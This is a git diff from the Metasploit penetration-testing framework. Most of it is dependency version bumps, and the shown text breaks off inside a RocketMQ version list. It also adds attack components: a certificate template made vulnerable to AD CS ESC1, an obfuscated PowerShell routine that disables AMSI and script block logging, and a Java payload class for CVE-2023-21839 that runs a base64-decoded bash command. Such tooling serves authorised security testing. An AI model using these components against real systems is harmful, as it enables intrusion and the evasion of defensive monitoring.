diff --git a/.gitignore b/.gitignore index 5095757ae6064..818bc0f616a26 100644 --- a/.gitignore +++ b/.gitignore @@ -19,6 +19,8 @@ Gemfile.local.lock .yardoc # Mac OS X files .DS_Store +# Ignore Solargraph config file +.solargraph.yml # database config for testing config/database.yml # target config file for testing diff --git a/.solargraph.yml b/.solargraph.yml new file mode 100644 index 0000000000000..2d9ba29634e39 --- /dev/null +++ b/.solargraph.yml @@ -0,0 +1,28 @@ +--- +include: +- "**/*.rb" +exclude: +- spec/**/* +- test/**/* +- vendor/**/* +- ".bundle/**/*" +- modules/**/* +- data/**/* +- db/**/* +- external/**/* +- plugins/**/* +- scripts/**/* # Some of this is old and may not need indexing??? +require: [] +domains: [] +reporters: +- rubocop +- require_not_found +formatter: + rubocop: + cops: safe + except: [] + only: [] + extra_args: [] +require_paths: [] +plugins: [] +max_files: 0 diff --git a/Gemfile.lock b/Gemfile.lock index d31aa0cc81786..bc9717257462b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,13 +1,14 @@ PATH remote: . specs: - metasploit-framework (6.3.17) + metasploit-framework (6.3.22) actionpack (~> 7.0) activerecord (~> 7.0) activesupport (~> 7.0) aws-sdk-ec2 aws-sdk-iam aws-sdk-s3 + aws-sdk-ssm bcrypt bcrypt_pbkdf bootsnap @@ -31,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.130) + metasploit-payloads (= 2.0.141) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -42,7 +43,7 @@ PATH net-ssh network_interface nexpose - nokogiri + nokogiri (~> 1.14.0) octokit (~> 4.0) openssl-ccm openvas-omp @@ -99,25 +100,25 @@ GEM remote: https://rubygems.org/ specs: Ascii85 (1.1.0) - actionpack (7.0.4.3) - actionview (= 7.0.4.3) - activesupport (= 7.0.4.3) - rack (~> 2.0, >= 2.2.0) + actionpack (7.0.5) + actionview (= 7.0.5) + activesupport (= 7.0.5) + rack (~> 2.0, >= 2.2.4) rack-test (>= 0.6.3) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.2.0) - actionview (7.0.4.3) - activesupport (= 7.0.4.3) + actionview (7.0.5) + activesupport (= 7.0.5) builder (~> 3.1) erubi (~> 1.4) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.1, >= 1.2.0) - activemodel (7.0.4.3) - activesupport (= 7.0.4.3) - activerecord (7.0.4.3) - activemodel (= 7.0.4.3) - activesupport (= 7.0.4.3) - activesupport (7.0.4.3) + activemodel (7.0.5) + activesupport (= 7.0.5) + activerecord (7.0.5) + activemodel (= 7.0.5) + activesupport (= 7.0.5) + activesupport (7.0.5) concurrent-ruby (~> 1.0, >= 1.0.2) i18n (>= 1.6, < 2) minitest (>= 5.1) @@ -129,25 +130,28 @@ GEM activerecord (>= 3.1.0, < 8) ast (2.4.2) aws-eventstream (1.2.0) - aws-partitions (1.749.0) - aws-sdk-core (3.171.0) + aws-partitions (1.776.0) + aws-sdk-core (3.174.0) aws-eventstream (~> 1, >= 1.0.2) aws-partitions (~> 1, >= 1.651.0) aws-sigv4 (~> 1.5) jmespath (~> 1, >= 1.6.1) - aws-sdk-ec2 (1.375.0) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-ec2 (1.382.0) + aws-sdk-core (~> 3, >= 3.174.0) aws-sigv4 (~> 1.1) - aws-sdk-iam (1.77.0) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-iam (1.79.0) + aws-sdk-core (~> 3, >= 3.174.0) aws-sigv4 (~> 1.1) - aws-sdk-kms (1.63.0) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-kms (1.66.0) + aws-sdk-core (~> 3, >= 3.174.0) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.120.1) - aws-sdk-core (~> 3, >= 3.165.0) + aws-sdk-s3 (1.123.1) + aws-sdk-core (~> 3, >= 3.174.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.4) + aws-sdk-ssm (1.151.0) + aws-sdk-core (~> 3, >= 3.174.0) + aws-sigv4 (~> 1.1) aws-sigv4 (1.5.2) aws-eventstream (~> 1, >= 1.0.2) bcrypt (3.1.18) @@ -164,7 +168,7 @@ GEM cookiejar (0.3.3) crass (1.0.6) daemons (1.4.1) - debug (1.7.2) + debug (1.8.0) irb (>= 1.5.0) reline (>= 0.3.1) diff-lcs (1.5.0) @@ -191,11 +195,11 @@ GEM railties (>= 5.0.0) faker (3.2.0) i18n (>= 1.8.11, < 2) - faraday (2.7.4) + faraday (2.7.6) faraday-net_http (>= 2.0, < 3.1) ruby2_keywords (>= 0.0.4) faraday-net_http (3.0.2) - faraday-retry (2.1.0) + faraday-retry (2.2.0) faraday (~> 2.0) faye-websocket (0.11.2) eventmachine (>= 0.12.0) @@ -217,10 +221,10 @@ GEM domain_name (~> 0.5) http_parser.rb (0.8.0) httpclient (2.8.3) - i18n (1.12.0) + i18n (1.14.1) concurrent-ruby (~> 1.0) io-console (0.6.0) - irb (1.6.4) + irb (1.7.0) reline (>= 0.3.0) jmespath (1.6.2) jsobfu (0.4.2) @@ -230,9 +234,9 @@ GEM logging (2.3.1) little-plugger (~> 1.1) multi_json (~> 1.14) - loofah (2.20.0) + loofah (2.21.3) crass (~> 1.0.2) - nokogiri (>= 1.5.9) + nokogiri (>= 1.12.0) memory_profiler (1.0.1) metasm (1.0.5) metasploit-concern (5.0.1) @@ -240,7 +244,7 @@ GEM activesupport (~> 7.0) railties (~> 7.0) zeitwerk - metasploit-credential (6.0.4) + metasploit-credential (6.0.5) metasploit-concern metasploit-model metasploit_data_models (>= 5.0.0) @@ -254,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.130) + metasploit-payloads (2.0.141) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) @@ -267,7 +271,7 @@ GEM webrick metasploit_payloads-mettle (1.0.20) method_source (1.0.0) - mini_portile2 (2.8.1) + mini_portile2 (2.8.2) minitest (5.18.0) mqtt (0.6.0) msgpack (1.6.1) @@ -284,7 +288,7 @@ GEM network_interface (0.0.2) nexpose (7.3.0) nio4r (2.5.9) - nokogiri (1.14.3) + nokogiri (1.14.5) mini_portile2 (~> 2.8.0) racc (~> 1.4) nori (2.6.0) @@ -297,8 +301,9 @@ GEM packetfu (1.1.13) pcaprub parallel (1.23.0) - parser (3.2.2.1) + parser (3.2.2.3) ast (~> 2.4.1) + racc patch_finder (1.0.2) pcaprub (0.13.1) pdf-reader (2.11.0) @@ -307,7 +312,7 @@ GEM hashery (~> 2.0) ruby-rc4 ttfunk - pg (1.4.6) + pg (1.5.3) pry (0.14.2) coderay (~> 1.1) method_source (~> 1.0) @@ -315,10 +320,10 @@ GEM byebug (~> 11.0) pry (>= 0.13, < 0.15) public_suffix (5.0.1) - puma (6.2.2) + puma (6.3.0) nio4r (~> 2.0) - racc (1.6.2) - rack (2.2.6.4) + racc (1.7.0) + rack (2.2.7) rack-protection (3.0.6) rack rack-test (2.1.0) @@ -326,11 +331,12 @@ GEM rails-dom-testing (2.0.3) activesupport (>= 4.2.0) nokogiri (>= 1.6) - rails-html-sanitizer (1.5.0) - loofah (~> 2.19, >= 2.19.1) - railties (7.0.4.3) - actionpack (= 7.0.4.3) - activesupport (= 7.0.4.3) + rails-html-sanitizer (1.6.0) + loofah (~> 2.21) + nokogiri (~> 1.14) + railties (7.0.5) + actionpack (= 7.0.5) + activesupport (= 7.0.5) method_source rake (>= 12.2) thor (~> 1.0) @@ -344,7 +350,7 @@ GEM nokogiri redcarpet (3.6.0) regexp_parser (2.8.0) - reline (0.3.3) + reline (0.3.5) io-console (~> 0.5) rex-arch (0.1.14) rex-text @@ -354,7 +360,7 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.30) + rex-core (0.1.31) rex-encoder (0.1.6) metasm rex-arch @@ -373,7 +379,7 @@ GEM rex-arch rex-ole (0.1.7) rex-text - rex-powershell (0.1.97) + rex-powershell (0.1.98) rex-random_identifier rex-text ruby-rc4 @@ -384,14 +390,14 @@ GEM metasm rex-core rex-text - rex-socket (0.1.49) + rex-socket (0.1.52) rex-core rex-sslscan (0.1.9) rex-core rex-socket rex-text rex-struct2 (0.1.3) - rex-text (0.2.50) + rex-text (0.2.52) rex-zip (0.1.4) rex-text rexml (3.2.5) @@ -400,26 +406,26 @@ GEM rspec-core (~> 3.12.0) rspec-expectations (~> 3.12.0) rspec-mocks (~> 3.12.0) - rspec-core (3.12.1) + rspec-core (3.12.2) rspec-support (~> 3.12.0) - rspec-expectations (3.12.2) + rspec-expectations (3.12.3) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.12.0) rspec-mocks (3.12.5) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.12.0) - rspec-rails (6.0.1) + rspec-rails (6.0.3) actionpack (>= 6.1) activesupport (>= 6.1) railties (>= 6.1) - rspec-core (~> 3.11) - rspec-expectations (~> 3.11) - rspec-mocks (~> 3.11) - rspec-support (~> 3.11) + rspec-core (~> 3.12) + rspec-expectations (~> 3.12) + rspec-mocks (~> 3.12) + rspec-support (~> 3.12) rspec-rerun (1.1.0) rspec (~> 3.0) rspec-support (3.12.0) - rubocop (1.50.2) + rubocop (1.52.0) json (~> 2.3) parallel (~> 1.10) parser (>= 3.2.0.0) @@ -429,7 +435,7 @@ GEM rubocop-ast (>= 1.28.0, < 2.0) ruby-progressbar (~> 1.7) unicode-display_width (>= 2.4.0, < 3.0) - rubocop-ast (1.28.0) + rubocop-ast (1.29.0) parser (>= 3.2.1.0) ruby-macho (3.0.0) ruby-prof (1.4.2) @@ -458,7 +464,7 @@ GEM rack (~> 2.2, >= 2.2.4) rack-protection (= 3.0.6) tilt (~> 2.0) - sqlite3 (1.6.2) + sqlite3 (1.6.3) mini_portile2 (~> 2.8.0) sshkey (2.0.0) strptime (0.2.5) @@ -467,8 +473,8 @@ GEM daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) rack (>= 1, < 3) - thor (1.2.1) - tilt (2.1.0) + thor (1.2.2) + tilt (2.2.0) timecop (0.9.6) timeout (0.3.2) ttfunk (1.7.0) @@ -504,7 +510,7 @@ GEM xmlrpc (0.3.2) webrick yard (0.9.34) - zeitwerk (2.6.7) + zeitwerk (2.6.8) PLATFORMS ruby diff --git a/LICENSE_GEMS b/LICENSE_GEMS index fdc00e9c314fd..35489362ebfcc 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,21 +1,22 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh Ascii85, 1.1.0, MIT -actionpack, 7.0.4.3, MIT -actionview, 7.0.4.3, MIT -activemodel, 7.0.4.3, MIT -activerecord, 7.0.4.3, MIT -activesupport, 7.0.4.3, MIT +actionpack, 7.0.5, MIT +actionview, 7.0.5, MIT +activemodel, 7.0.5, MIT +activerecord, 7.0.5, MIT +activesupport, 7.0.5, MIT addressable, 2.8.4, "Apache 2.0" afm, 0.2.2, MIT arel-helpers, 2.14.0, MIT ast, 2.4.2, MIT aws-eventstream, 1.2.0, "Apache 2.0" -aws-partitions, 1.749.0, "Apache 2.0" -aws-sdk-core, 3.171.0, "Apache 2.0" -aws-sdk-ec2, 1.375.0, "Apache 2.0" -aws-sdk-iam, 1.77.0, "Apache 2.0" -aws-sdk-kms, 1.63.0, "Apache 2.0" -aws-sdk-s3, 1.120.1, "Apache 2.0" +aws-partitions, 1.776.0, "Apache 2.0" +aws-sdk-core, 3.174.0, "Apache 2.0" +aws-sdk-ec2, 1.382.0, "Apache 2.0" +aws-sdk-iam, 1.79.0, "Apache 2.0" +aws-sdk-kms, 1.66.0, "Apache 2.0" +aws-sdk-s3, 1.123.1, "Apache 2.0" +aws-sdk-ssm, 1.151.0, "Apache 2.0" aws-sigv4, 1.5.2, "Apache 2.0" bcrypt, 3.1.18, MIT bcrypt_pbkdf, 1.1.0, MIT @@ -31,7 +32,7 @@ concurrent-ruby, 1.2.2, MIT cookiejar, 0.3.3, unknown crass, 1.0.6, MIT daemons, 1.4.1, MIT -debug, 1.7.2, "ruby, Simplified BSD" +debug, 1.8.0, "ruby, Simplified BSD" diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+" dnsruby, 1.70.0, "Apache 2.0" docile, 1.4.0, MIT @@ -44,9 +45,9 @@ eventmachine, 1.2.7, "ruby, GPL-2.0" factory_bot, 6.2.1, MIT factory_bot_rails, 6.2.0, MIT faker, 3.2.0, MIT -faraday, 2.7.4, MIT +faraday, 2.7.6, MIT faraday-net_http, 3.0.2, MIT -faraday-retry, 2.1.0, MIT +faraday-retry, 2.2.0, MIT faye-websocket, 0.11.2, "Apache 2.0" ffi, 1.15.5, "New BSD" filesize, 0.2.0, MIT @@ -59,26 +60,26 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0" http-cookie, 1.0.5, MIT http_parser.rb, 0.8.0, MIT httpclient, 2.8.3, ruby -i18n, 1.12.0, MIT +i18n, 1.14.1, MIT io-console, 0.6.0, "ruby, Simplified BSD" -irb, 1.6.4, "ruby, Simplified BSD" +irb, 1.7.0, "ruby, Simplified BSD" jmespath, 1.6.2, "Apache 2.0" jsobfu, 0.4.2, "New BSD" json, 2.6.3, ruby little-plugger, 1.1.4, MIT logging, 2.3.1, MIT -loofah, 2.20.0, MIT +loofah, 2.21.3, MIT memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.1, "New BSD" -metasploit-credential, 6.0.4, "New BSD" -metasploit-framework, 6.3.17, "New BSD" +metasploit-credential, 6.0.5, "New BSD" +metasploit-framework, 6.3.22, "New BSD" metasploit-model, 5.0.1, "New BSD" -metasploit-payloads, 2.0.130, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.141, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT -mini_portile2, 2.8.1, MIT +mini_portile2, 2.8.2, MIT minitest, 5.18.0, MIT mqtt, 0.6.0, MIT msgpack, 1.6.1, "Apache 2.0" @@ -92,7 +93,7 @@ net-ssh, 7.1.0, MIT network_interface, 0.0.2, MIT nexpose, 7.3.0, "New BSD" nio4r, 2.5.9, MIT -nokogiri, 1.14.3, MIT +nokogiri, 1.14.5, MIT nori, 2.6.0, MIT octokit, 4.25.1, MIT openssl-ccm, 1.2.3, MIT @@ -100,22 +101,22 @@ openssl-cmac, 2.0.2, MIT openvas-omp, 0.0.4, MIT packetfu, 1.1.13, BSD parallel, 1.23.0, MIT -parser, 3.2.2.1, MIT +parser, 3.2.2.3, MIT patch_finder, 1.0.2, "New BSD" pcaprub, 0.13.1, LGPL-2.1 pdf-reader, 2.11.0, MIT -pg, 1.4.6, "Simplified BSD" +pg, 1.5.3, "Simplified BSD" pry, 0.14.2, MIT pry-byebug, 3.10.1, MIT public_suffix, 5.0.1, MIT -puma, 6.2.2, "New BSD" -racc, 1.6.2, "ruby, Simplified BSD" -rack, 2.2.6.4, MIT +puma, 6.3.0, "New BSD" +racc, 1.7.0, "ruby, Simplified BSD" +rack, 2.2.7, MIT rack-protection, 3.0.6, MIT rack-test, 2.1.0, MIT rails-dom-testing, 2.0.3, MIT -rails-html-sanitizer, 1.5.0, MIT -railties, 7.0.4.3, MIT +rails-html-sanitizer, 1.6.0, MIT +railties, 7.0.5, MIT rainbow, 3.1.1, MIT rake, 13.0.6, MIT rasn1, 0.12.1, MIT @@ -123,36 +124,36 @@ rb-readline, 0.5.5, BSD recog, 3.1.1, unknown redcarpet, 3.6.0, MIT regexp_parser, 2.8.0, MIT -reline, 0.3.3, ruby +reline, 0.3.5, ruby rex-arch, 0.1.14, "New BSD" rex-bin_tools, 0.1.8, "New BSD" -rex-core, 0.1.30, "New BSD" +rex-core, 0.1.31, "New BSD" rex-encoder, 0.1.6, "New BSD" rex-exploitation, 0.1.38, "New BSD" rex-java, 0.1.6, "New BSD" rex-mime, 0.1.7, "New BSD" rex-nop, 0.1.2, "New BSD" rex-ole, 0.1.7, "New BSD" -rex-powershell, 0.1.97, "New BSD" +rex-powershell, 0.1.98, "New BSD" rex-random_identifier, 0.1.10, "New BSD" rex-registry, 0.1.4, "New BSD" rex-rop_builder, 0.1.4, "New BSD" -rex-socket, 0.1.49, "New BSD" +rex-socket, 0.1.52, "New BSD" rex-sslscan, 0.1.9, "New BSD" rex-struct2, 0.1.3, "New BSD" -rex-text, 0.2.50, "New BSD" +rex-text, 0.2.52, "New BSD" rex-zip, 0.1.4, "New BSD" rexml, 3.2.5, "Simplified BSD" rkelly-remix, 0.0.7, MIT rspec, 3.12.0, MIT -rspec-core, 3.12.1, MIT -rspec-expectations, 3.12.2, MIT +rspec-core, 3.12.2, MIT +rspec-expectations, 3.12.3, MIT rspec-mocks, 3.12.5, MIT -rspec-rails, 6.0.1, MIT +rspec-rails, 6.0.3, MIT rspec-rerun, 1.1.0, MIT rspec-support, 3.12.0, MIT -rubocop, 1.50.2, MIT -rubocop-ast, 1.28.0, MIT +rubocop, 1.52.0, MIT +rubocop-ast, 1.29.0, MIT ruby-macho, 3.0.0, MIT ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.13.0, MIT @@ -166,13 +167,13 @@ simplecov, 0.18.2, MIT simplecov-html, 0.12.3, MIT simpleidn, 0.2.1, MIT sinatra, 3.0.6, MIT -sqlite3, 1.6.2, "New BSD" +sqlite3, 1.6.3, "New BSD" sshkey, 2.0.0, MIT strptime, 0.2.5, "Simplified BSD" swagger-blocks, 3.0.0, MIT thin, 1.8.2, "GPL-2.0+, ruby" -thor, 1.2.1, MIT -tilt, 2.1.0, MIT +thor, 1.2.2, MIT +tilt, 2.2.0, MIT timecop, 0.9.6, MIT timeout, 0.3.2, "ruby, Simplified BSD" ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0" @@ -192,4 +193,4 @@ winrm, 2.3.6, "Apache 2.0" xdr, 3.0.3, "Apache 2.0" xmlrpc, 0.3.2, "ruby, Simplified BSD" yard, 0.9.34, MIT -zeitwerk, 2.6.7, MIT +zeitwerk, 2.6.8, MIT diff --git a/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml new file mode 100644 index 0000000000000..b118be6ae7221 --- /dev/null +++ b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml @@ -0,0 +1,27 @@ +--- +# Creates a template that will be vulnerable to ESC 1 (subject name supplied in +# the request). Fields are based on the SubCA template. For field descriptions, +# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434 +showInAdvancedViewOnly: 'TRUE' +# this security descriptor grants all permissions to all authenticated users +nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) +flags: 0 +pKIDefaultKeySpec: 2 +pKIKeyUsage: !binary |- + hgA= +pKIMaxIssuingDepth: -1 +pKICriticalExtensions: +- 2.5.29.19 +- 2.5.29.15 +pKIExpirationPeriod: !binary |- + AEAepOhl+v8= +pKIOverlapPeriod: !binary |- + AICmCv/e//8= +pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0 +msPKI-RA-Signature: 0 +msPKI-Enrollment-Flag: 0 +# CT_FLAG_EXPORTABLE_KEY +msPKI-Private-Key-Flag: 0x10 +# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT +msPKI-Certificate-Name-Flag: 1 +msPKI-Minimal-Key-Size: 2048 diff --git a/data/evasion/windows/bypass_powershell_protections.erb.graphml b/data/evasion/windows/bypass_powershell_protections.erb.graphml index 6b28bc8c300b3..1e0d88b3f61f8 100644 --- a/data/evasion/windows/bypass_powershell_protections.erb.graphml +++ b/data/evasion/windows/bypass_powershell_protections.erb.graphml @@ -8,6 +8,19 @@ + + 1 + block + + 1 + block + + 2 + instruction + If($PSVersionTable.PSVersion.Major -lt 3){Exit} + + + 1 block @@ -17,158 +30,114 @@ 1 instruction - If($PSVersionTable.PSVersion.Major -ge 3){ + $val=[Collections.Generic.Dictionary[string,System.Object]]::new(); 2 instruction - $val=[Collections.Generic.Dictionary[string,System.Object]]::new(); + $Ref1=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %>); 3 instruction - $Ref1=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %>); + If($Ref1) { $Ref1.GetField(<%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 1) %>,'NonPublic,Static').SetValue($null,$true); } 4 instruction - if ($Ref1) { $Ref1.GetField(<%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 0.3) %>,'NonPublic,Static').SetValue($null,$true); }; + $Ref2=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %>); 5 instruction - $Ref2=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %>); + $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static'); 6 instruction - $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static'); + $SBL=<%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %>; 7 instruction - If ($GPF) { + $EnableSBL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %>; 8 instruction - $SBL=<%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %>; + $EnableSBIL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %>; 9 instruction - $EnableSBL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %>; + If($GPF) { $GPC=$GPF.GetValue($null); } - + + + + + + + + 10 + block + + 10 + block + 10 instruction - $EnableSBIL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %>; + If($GPF -And $GPC[$SBL]) { $GPC[$SBL][$EnableSBL]=0; } - + 11 instruction - $GPC=$GPF.GetValue($null); + If($GPF -And $GPC[$SBL]) { $GPC[$SBL][$EnableSBIL]=0; } - - - - - - - - + 12 block 12 block - + 12 instruction - If($GPC[$SBL]){ + If($GPF) { $val.Add($EnableSBL,0); } - + 13 instruction - $GPC[$SBL][$EnableSBL]=0; + If($GPF) { $val.Add($EnableSBIL,0); } - + 14 instruction - $GPC[$SBL][$EnableSBIL]=0; - - - 15 - instruction - } + If($GPF) { $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val; } - - - - + + - - 16 + + 15 block - 16 + 15 block - - 16 - instruction - $val.Add($EnableSBL,0); - - - 17 - instruction - $val.Add($EnableSBIL,0); - - - 18 - instruction - $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val; - - - - - - - 19 - block - - 19 - block - - 19 - instruction - } Else { - - - 20 - instruction - [Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %>).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); - - - 21 - instruction - } - - - 22 + + 15 instruction - }; + If(!$GPF) { [Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %>).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); } - - - - - - - + + + + + diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.class b/data/exploits/CVE-2023-21839/PayloadRuns.class new file mode 100644 index 0000000000000..d6ee272398d63 Binary files /dev/null and b/data/exploits/CVE-2023-21839/PayloadRuns.class differ diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.java b/data/exploits/CVE-2023-21839/PayloadRuns.java new file mode 100644 index 0000000000000..03e1bb6d95428 --- /dev/null +++ b/data/exploits/CVE-2023-21839/PayloadRuns.java @@ -0,0 +1,11 @@ +import java.util.Base64; + +public class PayloadRuns { + static { + try { + Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}"); + } catch (Exception ex) { + ex.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/data/rocketmq_versions_list.json b/data/rocketmq_versions_list.json new file mode 100644 index 0000000000000..dc9df46123d88 --- /dev/null +++ b/data/rocketmq_versions_list.json @@ -0,0 +1,615 @@ +[ + "V3_0_0_SNAPSHOT", + "V3_0_0_ALPHA1", + "V3_0_0_BETA1", + "V3_0_0_BETA2", + "V3_0_0_BETA3", + "V3_0_0_BETA4", + "V3_0_0_BETA5", + "V3_0_0_BETA6_SNAPSHOT", + "V3_0_0_BETA6", + "V3_0_0_BETA7_SNAPSHOT", + "V3_0_0_BETA7", + "V3_0_0_BETA8_SNAPSHOT", + "V3_0_0_BETA8", + "V3_0_0_BETA9_SNAPSHOT", + "V3_0_0_BETA9", + "V3_0_0_FINAL", + "V3_0_1_SNAPSHOT", + "V3_0_1", + "V3_0_2_SNAPSHOT", + "V3_0_2", + "V3_0_3_SNAPSHOT", + "V3_0_3", + "V3_0_4_SNAPSHOT", + "V3_0_4", + "V3_0_5_SNAPSHOT", + "V3_0_5", + "V3_0_6_SNAPSHOT", + "V3_0_6", + "V3_0_7_SNAPSHOT", + "V3_0_7", + "V3_0_8_SNAPSHOT", + "V3_0_8", + "V3_0_9_SNAPSHOT", + "V3_0_9", + "V3_0_10_SNAPSHOT", + "V3_0_10", + "V3_0_11_SNAPSHOT", + "V3_0_11", + "V3_0_12_SNAPSHOT", + "V3_0_12", + "V3_0_13_SNAPSHOT", + "V3_0_13", + "V3_0_14_SNAPSHOT", + "V3_0_14", + "V3_0_15_SNAPSHOT", + "V3_0_15", + "V3_1_0_SNAPSHOT", + "V3_1_0", + "V3_1_1_SNAPSHOT", + "V3_1_1", + "V3_1_2_SNAPSHOT", + "V3_1_2", + "V3_1_3_SNAPSHOT", + "V3_1_3", + "V3_1_4_SNAPSHOT", + "V3_1_4", + "V3_1_5_SNAPSHOT", + "V3_1_5", + "V3_1_6_SNAPSHOT", + "V3_1_6", + "V3_1_7_SNAPSHOT", + "V3_1_7", + "V3_1_8_SNAPSHOT", + "V3_1_8", + "V3_1_9_SNAPSHOT", + "V3_1_9", + "V3_2_0_SNAPSHOT", + "V3_2_0", + "V3_2_1_SNAPSHOT", + "V3_2_1", + "V3_2_2_SNAPSHOT", + "V3_2_2", + "V3_2_3_SNAPSHOT", + "V3_2_3", + "V3_2_4_SNAPSHOT", + "V3_2_4", + "V3_2_5_SNAPSHOT", + "V3_2_5", + "V3_2_6_SNAPSHOT", + "V3_2_6", + "V3_2_7_SNAPSHOT", + "V3_2_7", + "V3_2_8_SNAPSHOT", + "V3_2_8", + "V3_2_9_SNAPSHOT", + "V3_2_9", + "V3_3_1_SNAPSHOT", + "V3_3_1", + "V3_3_2_SNAPSHOT", + "V3_3_2", + "V3_3_3_SNAPSHOT", + "V3_3_3", + "V3_3_4_SNAPSHOT", + "V3_3_4", + "V3_3_5_SNAPSHOT", + "V3_3_5", + "V3_3_6_SNAPSHOT", + "V3_3_6", + "V3_3_7_SNAPSHOT", + "V3_3_7", + "V3_3_8_SNAPSHOT", + "V3_3_8", + "V3_3_9_SNAPSHOT", + "V3_3_9", + "V3_4_1_SNAPSHOT", + "V3_4_1", + "V3_4_2_SNAPSHOT", + "V3_4_2", + "V3_4_3_SNAPSHOT", + "V3_4_3", + "V3_4_4_SNAPSHOT", + "V3_4_4", + "V3_4_5_SNAPSHOT", + "V3_4_5", + "V3_4_6_SNAPSHOT", + "V3_4_6", + "V3_4_7_SNAPSHOT", + "V3_4_7", + "V3_4_8_SNAPSHOT", + "V3_4_8", + "V3_4_9_SNAPSHOT", + "V3_4_9", + "V3_5_1_SNAPSHOT", + "V3_5_1", + "V3_5_2_SNAPSHOT", + "V3_5_2", + "V3_5_3_SNAPSHOT", + "V3_5_3", + "V3_5_4_SNAPSHOT", + "V3_5_4", + "V3_5_5_SNAPSHOT", + "V3_5_5", + "V3_5_6_SNAPSHOT", + "V3_5_6", + "V3_5_7_SNAPSHOT", + "V3_5_7", + "V3_5_8_SNAPSHOT", + "V3_5_8", + "V3_5_9_SNAPSHOT", + "V3_5_9", + "V3_6_1_SNAPSHOT", + "V3_6_1", + "V3_6_2_SNAPSHOT", + "V3_6_2", + "V3_6_3_SNAPSHOT", + "V3_6_3", + "V3_6_4_SNAPSHOT", + "V3_6_4", + "V3_6_5_SNAPSHOT", + "V3_6_5", + "V3_6_6_SNAPSHOT", + "V3_6_6", + "V3_6_7_SNAPSHOT", + "V3_6_7", + "V3_6_8_SNAPSHOT", + "V3_6_8", + "V3_6_9_SNAPSHOT", + "V3_6_9", + "V3_7_1_SNAPSHOT", + "V3_7_1", + "V3_7_2_SNAPSHOT", + "V3_7_2", + "V3_7_3_SNAPSHOT", + "V3_7_3", + "V3_7_4_SNAPSHOT", + "V3_7_4", + "V3_7_5_SNAPSHOT", + "V3_7_5", + "V3_7_6_SNAPSHOT", + "V3_7_6", + "V3_7_7_SNAPSHOT", + "V3_7_7", + "V3_7_8_SNAPSHOT", + "V3_7_8", + "V3_7_9_SNAPSHOT", + "V3_7_9", + "V3_8_1_SNAPSHOT", + "V3_8_1", + "V3_8_2_SNAPSHOT", + "V3_8_2", + 